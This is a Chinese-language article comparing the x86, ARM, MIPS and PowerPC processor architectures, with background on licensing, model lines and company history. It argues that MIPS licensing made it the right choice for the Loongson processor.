当今处理器一共有三个最强大的架构,其中之一是以intel和AMD为代表的x86架构,另外一个是手机,平板处理器所使用的ARM架构,最后一个便是我国龙芯处理器所选择的MIPS架构。这三大处理器架构中,x86和ARM是商业化进程最为优秀的两大架构。也正是因为这两大架构的商业化进程太为出色,所以我国的龙芯处理器才被很多人批判为最严重的选择性失误。龙芯处理器的架构选择并没有错误,相反的如果龙芯要想得到更好的发展,选择MIPS才是最为正确的道路。x86架构的拥有者intel可以算作是技术合作上最抠门儿的一位,在推出x86架构之后,intel就只将这一架构授权给过AMD和VIA等几个芯片公司。而在VIA退出x86架构处理器竞争之后,intel便不再给任何公司x86架构授权。所以从x86架构上入手,龙芯处理器显然是行不通的。 intel的x86架构行不通,那么ARM架构是否就能行得通呢?答案当然也是否定的。


ARM

ARM架构,过去称作进阶精简指令集机器(Advanced RISC Machine,更早称作:Acorn
RISC Machine),是一个32位精简指令集(RISC)处理器架构,其广泛地使用在许多嵌入式系统设计。由于节能的特点,ARM处理器非常适用于行动通讯领域,符合其主要设计目标为低耗电的特性。

在今日,ARM家族占了所有32位嵌入式处理器75%的比例,使它成为占全世界最多数的32位架构之一。ARM处理器可以在很多消费性电子产品上看到,从可携式装置(PDA、移动电话、多媒体播放器、掌上型电子游戏,和计算机)到电脑外设(硬盘、桌上型路由器)甚至在导弹的弹载计算机等军用设施中都有他的存在。在此还有一些基于ARM设计的派生产品,重要产品还包括Marvell的XScale架构和德州仪器的OMAP系列。


优势:价格低;能耗低;


ARM授权方式:ARM公司本身并不靠自有的设计来制造或出售 CPU,而是将处理器架构授权给有兴趣的厂家。ARM提供了多样的授权条款,包括售价与散播性等项目。对于授权方来说,ARM提供了 ARM内核的整合硬件叙述,包含完整的软件开发工具(编译器、debugger、SDK),以及针对内含 ARM CPU 硅芯片的销售权。对于无晶圆厂的授权方来说,其希望能将 ARM内核整合到他们自行研发的芯片设计中,通常就仅针对取得一份生产就绪的智财核心技术(IP Core)认证。对这些客户来说,ARM会释出所选的 ARM核心的闸极电路图,连同抽象模拟模型和测试程式,以协助设计整合和验证。需求更多的客户,包括整合元件制造商(IDM)和晶圆厂家,就选择可合成的RTL(暂存器转移层级,如 Verilog)形式来取得处理器的智财权(IP)。借着可整合的 RTL,客户就有能力能进行架构上的最佳化与加强。这个方式能让设计者完成额外的设计目标(如高震荡频率、低能量耗损、指令集延伸等)而不会受限于无法更动的电路图。虽然ARM 并不授予授权方再次出售 ARM架构本身,但授权方可以任意地出售制品(如芯片元件、评估板、完整系统等)。商用晶圆厂是特殊例子,因为他们不仅授予能出售包含 ARM内核的硅晶成品,对其它客户来讲,他们通常也保留重制 ARM内核的权利。


生产厂商:TI(德州仪器)/Samsung(三星)/Freescale(飞思卡尔)/Marvell(马维尔)/Nvidia(英伟达)


ARM公司是一家非常优秀的芯片设计公司,但自身并不生产处理器,而是将自身的设计licensing卖给需要处理器的公司,而后交给他们生产或者是找人代工。也许有人要问了,既然ARM向外卖出架构设计,那么为何龙芯不去选择ARM架构呢?其实不然,ARM之所以能够发展成为一家非常成功的商业性公司,靠的就是芯片的架构设计,倘若架构设计被别人夺走了,那么自己就丢掉了赖以生存的饭碗。所以ARM虽然对外进行licensing授权,却不允许购买者进行任何对ARM架构有更改的设计。倘若个更改了设计,那么这便违反了合作协定,ARM便有权撤回licensing授权。我国的龙芯要是选择了ARM架构的话,那么基本上也就被捆住了脚步,无法发展出属于自己的高性能处理器了。


考虑到市场发展的问题ARM也对外妥协过。目前高通,苹果和NVIDIA这三家公司便是ARM体系中较为特殊的几个。因为这三家公司在芯片设计领域的特殊地位,ARM为了能够拉拢他们站立在自己的阵营中,对这三家公司开出了特别通行证。在其他芯片公司只能使用 licensing去生产芯片的时候,高通,苹果和NVIDIA却能够自行设计基于ARM架构的处理器。也正是拉拢到了高通,苹果和NVIDIA,才使得ARM拥有了更多的支持者。但即便这样,我们也不得不佩服ARM的老狐狸作风,在给出架构授权后,ARM依然会通过升级下一代架构为由让高通,苹果和 NVIDIA再掏一回钱购买架构授权。这样ARM就可以再赚一把。


x86系列或Atom处理器

x86或80x86是Intel首先开发制造的一种微处理器体系结构的泛称。x86架构是重要地可变指令长度的CISC(复杂指令集电脑,Complex
Instruction Set Computer)。

Intel Atom(中文:凌动,开发代号:Silverthorne)是Intel的一个超低电压处理器系列。处理器采用45纳米工艺制造,集成4700万个晶体管。L2缓存为512KB,支持SSE3指令集,和VT虚拟化技术(部份型号)。


现时,Atom处理器系列有6个型号,全部都是属于Z500系列。它们分别是Z500、Z510、Z520、Z530、Z540和Z550。最低端的Z500内核频率是800MHz,FSB则是400MHz。而最高速的Z550,内核频率则有2.0GHz,FSB则是533MHz。从Z520开始,所有的处理器都支持超线程技术,但只增加了不到10%的耗电。双内核版本为N系列,依然采用945GC芯片组。双内核版本仍会支持超线程技术,所以系统会显示出有4个逻辑处理器。这个版本的两个内核并非采用本地设计,只是简单的将两个单内核封装起来。


MIPS系列

MIPS是世界上很流行的一种RISC处理器。MIPS的意思是“无内部互锁流水级的微处理器”(Microprocessor without interlockedpipedstages),其机制是尽量利用软件办法避免流水线中的数据相关问题。它最早是在80年代初期由斯坦福(Stanford)大学Hennessy教授领导的研究小组研制出来的。MIPS公司的R系列就是在此基础上开发的RISC工业产品的微处理器。这些系列产品为很多计算机公司采用构成各种工作站和计算机系统。


MIPS技术公司是美国著名的芯片设计公司,它采用精简指令系统计算结构(RISC)来设计芯片。和英特尔采用的复杂指令系统计算结构(CISC)相比,RISC具有设计更简单、设计周期更短等优点,并可以应用更多先进的技术,开发更快的下一代处理器。MIPS是出现最早的商业RISC架构芯片之一,新的架构集成了所有原来MIPS指令集,并增加了许多更强大的功能。MIPS自己只进行CPU的设计,之后把设计方案授权给客户,使得客户能够制造出高性能的CPU。


1984年,MIPS计算机公司成立,开始设计RISC处理器;
1986年推出R2000处理器。
1992年,SGI收购了MIPS计算机公司。
1988年推R3000处理器。
1991年推出第一款64位商用微处器R4000;之后又陆续推出R8000(于1994年)、R10000(于1996年)和R12000(于1997年)等型号。
1998年,MIPS脱离SGI,成为MIPS技术公司;随后,MIPS公司的战略发生变化,把重点放在嵌入式系统;1998年-MIPS科技股票在美国纳斯达克股票交易所公开上市。
1999年,MIPS公司发布MIPS32和MIPS64架构标准,为未来MIPS处理器的开发奠定了基础。新的架构集成了所有原来NIPS指令集,并且增加了许多更强大的功能。MIPS公司陆续开发了高性能、低功耗的32位处理器内核(core)MIPS324Kc与高性能64位处理器内核MIPS645Kc。
2000年,MIPS公司发布了针对MIPS32 4Kc的版本以及64位MIPS 64 20Kc处理器内核。

2007年8月16日-MIPS科技宣布,中科院计算机研究所的龙芯中央处理器获得其处理器IP的全部专利和总线、指令集授权。
2007年12月20日-MIPS科技宣布,扬智科技已取得其针对先进多媒体所设计的可定制化系统单芯片(SoC)核心“MIPS32 24KEcPro”授权。

…..


MIPS和ARM虽然都是对外进行架构授权的公司,但意义完全不同。ARM对外出售的是设计方案授权 (licensing),与ARM的商业化相比,MIPS倒像是学院派的公司。MIPS的架构授权,并不限制任何对MIPS架构的更改。换句话说,就是 MIPS公司给授权者一张白纸,而白纸上仅仅写着一行字,MIPS公司同意你设计生产MIPS架构处理器,至于你设计成什么样,性能有多高,经过多少代更改,MIPS一概不管,只要你不把架构彻底改变就行了。与ARM相比,MIPS是一个完全开放的架构,对龙芯未来的发展没有任何的限制,这与intel给 AMD x86架构授权,而不是给设计图纸的道理是完全一样的。在加上MIPS本身经过几十年的发展,已经拥有了众多的应用软件,综合考虑来看,MIPS是最为适合龙芯处理器发展的架构选择。RISC平台是诞生于MIPS早先产品的,也正是RISC平台的诞生,才最终发展成为了我们现在的智能手机与平板机这样强大的产品。然而作为RISC系统的创始人,MIPS的商业化发展并非一帆风顺,也许是受公司前身是大学科学实验室的影响。公司高层对商业化发展嗤之以鼻, 这才令本身技术要落后于MIPS的ARM得到了发展时机。


PowerPC系列

PowerPC是一种精简指令集(RISC)架构的中央处理器(CPU),其基本的设计源自IBM(国际商用机器公司)的IBMPowerPC601 微处理器POWER(PerformanceOptimized With Enhanced RISC;《IBM Connect电子报》2007年8月号译为“增强RISC性能优化”)架构。


二十世纪九十年代,IBM(国际商用机器公司)、Apple(苹果公司)和Motorola(摩托罗拉)公司开发PowerPC芯片成功,并制造出基于PowerPC的多处理器计算机。


PowerPC架构的特点是可伸缩性好、方便灵活


PowerPC处理器有广泛的实现范围,包括从诸如 Power4那样的高端服务器CPU到嵌入式CPU市场(任天堂Gamecube使用了 PowerPC)。PowerPC处理器有非常强的嵌入式表现,因为它具有优异的性能、较低的能量损耗以及较低的散热量。除了象串行和以太网控制器那样的集成 I/O,该嵌入式处理器与“台式机”CPU存在非常显著的区别。

收起阅读 »